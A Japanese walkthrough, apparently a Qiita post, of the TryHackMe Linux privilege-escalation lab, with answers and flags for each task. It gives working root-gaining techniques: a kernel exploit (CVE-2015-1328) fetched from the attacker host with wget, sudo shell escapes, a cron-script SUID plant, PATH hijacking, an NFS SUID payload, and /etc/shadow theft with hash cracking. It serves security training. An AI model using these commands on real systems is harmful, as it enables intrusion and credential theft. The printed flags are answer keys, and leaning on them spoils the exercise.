0
0

概要

TryHackMe「Linux Privilege Escalation」のWalkthroughです。

Task3

Q1.What is the hostname of the target system?

hostnameコマンドで確認します。

$ hostname
wade7363

A.wade7363

Q2.What is the Linux kernel version of the target system?

uname -aコマンドで確認します。

$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

A.3.13.0-24-generic

Q3.What Linux is this?

/etc/os-releaseから確認します。

$ cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

A.Ubuntu 14.04 LTS

Q4.What version of the Python language is installed on the system?

python --versionでPythonのバージョンを確認します。

$ python --version
Python 2.7.6

A.2.7.6

Q5.What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)

ubuntu 14.04 exploitなどで検索するとCVEがヒットしました。

A.CVE-2015-1328

Task5

Q1.find and use the appropriate kernel exploit to gain root privileges on the target system.

Hint.Look for exploit codes related to the CVE you've found in the previous task.

Linuxカーネルのバージョンを確認します。

$ cat /etc/os-release
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

Task4と同様にCVE-2015-1328が使えそうです。

Q2.What is the content of the flag1.txt file?

exploitdbのコードをKaliに保存します。
KaliでHTTPサーバーを起動します。

$ python -m http.server 80

ターゲットマシンでofs.cをダウンロードします。

$ cd /tmp
$ wget http://10.6.55.144/ofs.c

コンパイルして実行するとroot権限へ昇格できました。

$ gcc ofs.c -o ofs
$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root

/home/matt/flag1.txtからフラグを入手できます。

/home/matt/flag1.txt
THM-28392872729920

A.THM-28392872729920

Task6

Q1.How many programs can the user "karen" run on the target system with sudo rights?

sudo -lで実行できるプログラムを確認します。

$ sudo -l
Matching Defaults entries for karen on ip-10-10-162-198:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karen may run the following commands on ip-10-10-162-198:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

A.3

Q2.What is the content of the flag2.txt file?

閲覧権限があるので/home/ubuntu/flag2.txtからフラグを入手できます。

$ ls -l /home/ubuntu/flag2.txt
-rw-r--r-- 1 root root 14 Jun 18  2021 /home/ubuntu/flag2.txt
/home/ubuntu/flag2.txt
THM-402028394

A.THM-402028394

Q3.How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?

GTFOBinsを参考に下記のように実行するとrootのシェルを実行できます。

nmap --interactive
nmap> !sh

A.sudo nmap --interactive

Q4.What is the hash of frank's password?

karenアカウントでは/etc/shadowの閲覧権限がないので権限昇格を試みます。
sudo -lで3つのプログラムが実行できるので、3つ全ての権限昇格手法を紹介します。

  • find

下記サイトを参考に実行します。

root権限を取得出来ました。

$ sudo find . -exec /bin/sh \; -quit
# whoami
root
  • less

下記サイトを参考に実行します。

sudo less /etc/profile
!/bin/sh
# whoami
root
  • nano

下記サイトを参考に実行します。

sudo nano
^R^X
reset; sh 1>&0 2>&0
# whoami
root

root権限取得後、/etc/shadowからfrankのパスワードハッシュを取得します。

frank:$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1:18796:0:99999:7:::

A.$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1

Task7

Q1.Which user shares the name of a great comic book writer?

SUIDの検索をします。

$ find / -user root -perm -4000 2>/dev/null

(省略)

/usr/bin/base64

base64を利用して権限昇格出来そうです。

/etc/shadowファイルを読み込みユーザーを見つけます。

gerryconway:$6$vgzgxM3ybTlB.wkV$48YDY7qQnp4purOJ19mxfMOwKt.H2LaWKPu0zKlWKaUMG1N7weVzqobp65RxlMIZ/NirxeZdOJMEOp3ofE.RT/:18796:0:99999:7:::

A.gerryconway

Q2.What is the password of user2?

/etc/shadow,/etc/passwdファイルの内容を取得し、Kaliに保存します。
unshadowコマンドで両ファイルを結合します。

$ unshadow passwd.txt shadow.txt > passwords.txt

JohnTheRipperで解析すると3つのアカウントのパスワードを得られました。

$ john passwords.txt
test123          (gerryconway)     
Password1        (karen)     
Password1        (user2)

A.Password1

Q3.What is the content of the flag3.txt file?

user2でログインするかbase64のSUIDを利用して/home/ubuntu/flag3.txtからフラグを入手できます。

$ base64 /home/ubuntu/flag3.txt | base64 -d
THM-3847834

A.THM-3847834

Task8

Q2.How many binaries have set capabilities?

getcapcapabilityの検索をします。

$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

A.6

Q3.What other binary can be used through its capabilities?

vimviewを悪用できます。

A.view

Q4.What is the content of the flag4.txt file?

karenアカウントではvimを悪用できます。

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# whoami
root

rootのシェルを取得できたので/home/ubuntu/flag4.txtからフラグを入手できます。

/home/ubuntu/flag4.txt
THM-9349843

A.THM-9349843

Task9

Q1.How many user-defined cron jobs can you see on the target system?

/etc/crontabを確認します。

$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py

A.4

Q2.What is the content of the flag5.txt file?

/home/karen/backup.shを編集します。

/home/karen/backup.sh
#!/bin/bash
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

パーミッションを変更します。

$ chmod 777 backup.sh

rootのシェルを取得できました。

$ /tmp/bash -p
bash-5.0# whoami
root

/home/ubuntu/flag5.txtからフラグを入手できます。

/home/ubuntu/flag5.txt
THM-383000283

A.THM-383000283

Q3.What is Matt's password?

ターゲットマシンの/etc/shadow,/etc/passwdをKaliに保存し、unshadowコマンドで整形します。

$ unshadow passwd.txt shadow.txt > passwords.txt

JohnTheRipperで解析します。

123456           (matt)     
Password1        (karen)

A.123456

Task10

Q1.What is the odd folder you have write access for?

Hint.Look for folders you have write access to under home

/home/murdochは書き込み権限があります。

$ ls -l /home/
total 12
drwxr-xr-x 2 root   root   4096 Jun 20  2021 matt
drwxrwxrwx 2 root   root   4096 Oct 22  2021 murdoch
drwxr-xr-x 5 ubuntu ubuntu 4096 Oct 22  2021 ubuntu

A./home/murdoch

Q3.What is the content of the flag6.txt file?

/home/murdoch/thm.pyを見るとthmコマンドを実行しているのが分かりました。

/home/murdoch/thm.py
/usr/bin/python3

import os
import sys

try: 
        os.system("thm")
except:
        sys.exit()

/home/murdoch/thm.pyをroot権限で実行できれば権限昇格できそうです。

SUIDの検索し、/home/murdoch/testを発見しました。

$ find / -user root -perm -4000 2>/dev/null

(省略)

/home/murdoch/test

/home/murdoch/testを実行すると、エラー文から/home/murdoch/thm.pyを実行していると予測できました。

$ ./test
sh: 1: thm: not found

thmコマンドを作成し、パスを通します。

$ echo "/bin/bash" > /tmp/thm
$ chmod 777 /tmp/thm
$ export PATH=/tmp:$PATH
$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

/home/murdoch/testを実行し、権限昇格に成功しました。

$ ./test
root@ip-10-10-228-121:/home/murdoch# whoami
root

/home/matt/flag6.txtからフラグを入手できます。

/home/matt/flag6.txt
THM-736628929

A.THM-736628929

Task11

Q1.How many mountable shares can you identify on the target system?

/etc/exportsを確認します。

$ cat /etc/exports
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

A.3

Q2.How many shares have the "no_root_squash" option enabled?

3つともno_root_squashが有効になっています。

A.****

Q4.What is the content of the flag7.txt file?

showmountでマウント可能なパスを確認します。

$ showmount -e 10.10.7.21
Export list for 10.10.7.21:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

マウント用のディレクトリを作成します。

$ mkdir /tmp/nfsdir
$ cd /tmp/nfsdir

ターゲットマシンの/tmpディレクトリをマウントします。

$ sudo mount -o rw 10.10.7.21:/tmp /tmp/nfsdir

ペイロードプログラムを作成します。

payload.c
int main()
{ setuid(0);
  setgid(0);
  system("/bin/bash"); 
  return 0;
}

コンパイルします。

$ sudo gcc payload.c -o payload -w --static

--staticオプションが無いと環境によっては実行時にGLIBCのバージョンエラーが出ます。

./payload: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./payload)

SUIDをセットします。

$ sudo chmod +s payload
$ ls -l
total 36
-rwsr-sr-x 1 root root 16056 Jul 13 09:17 payload
-rw-r--r-- 1 kali kali    75 Jul 13 09:10 payload.c

ターゲットマシンで作成したペイロードファイルを実行するとrootのシェルを取得できます。

$ ./payload
root@ip-10-10-7-21:/tmp# whoami
root

/home/matt/flag7.txtからフラグを入手できます。

/home/matt/flag7.txt
THM-89384012

A.THM-89384012

Task12

Q1.What is the content of the flag1.txt file?

/homeを確認すると他のアカウントの認証情報を得る必要がありそうです。

$ ls -l /home
total 4
drwx------.  8 leonard leonard  211 Jul 13 16:06 leonard
drwx------. 16 missy   missy   4096 Jun  7  2021 missy
drwx------.  2 root    root      23 Jun  7  2021 rootflag

SUIDを検索するとbase64を悪用できそうです。

$ find / -user root -perm -4000 2>/dev/null

/usr/bin/base64

(省略)

/etc/shadow,/etc/passwdファイルからアカウントのパスワードを解析します。

$ unshadow passwd12.txt shadow12.txt> passwords12.txt
$ john passwords12.txt
Password1        (missy)

missyアカウントのパスワードを得られたのでログインします。

$ su missy
Password: 
[missy@ip-10-10-242-32 tmp]$

sudo -lで確認すると/usr/bin/findを発見しました。

$ sudo -l
Matching Defaults entries for missy on ip-10-10-242-32:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User missy may run the following commands on ip-10-10-242-32:
    (ALL) NOPASSWD: /usr/bin/find

権限昇格の脆弱性を発見しました。

root権限を取得出来ました。

$ sudo /usr/bin/find . -exec /bin/sh -p \; -quit
sh-4.2# whoami
root

flag1.txtのパスを検索します。

# find / -name flag1.txt
/home/missy/Documents/flag1.txt

/home/missy/Documents/flag1.txtからフラグを入手できます。

/home/missy/Documents/flag1.txt
THM-42828719920544

A.THM-42828719920544

Q2.What is the content of the flag2.txt file?

Q1でroot権限を取得できたのでそのままflag2.txtを読んでもいいですが、せっかくなので、別の方法でのフラグ取得方法を書きます。

leonardでログインしています。

$ whoami
leonard

/home/leonard/.bash_historyから/home/rootflag/flag2.txtが判明しました。

$ cat /home/leonard/.bash_history

(省略)

cd ..
ls
cd rootflag/
ls
cat flag2.txt 
su root
ls
cd rootflag/
su missy

base64で読み込んでフラグを入手できます。

$ base64 /home/rootflag/flag2.txt | base64 -d
THM-168824782390238

A.THM-168824782390238

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0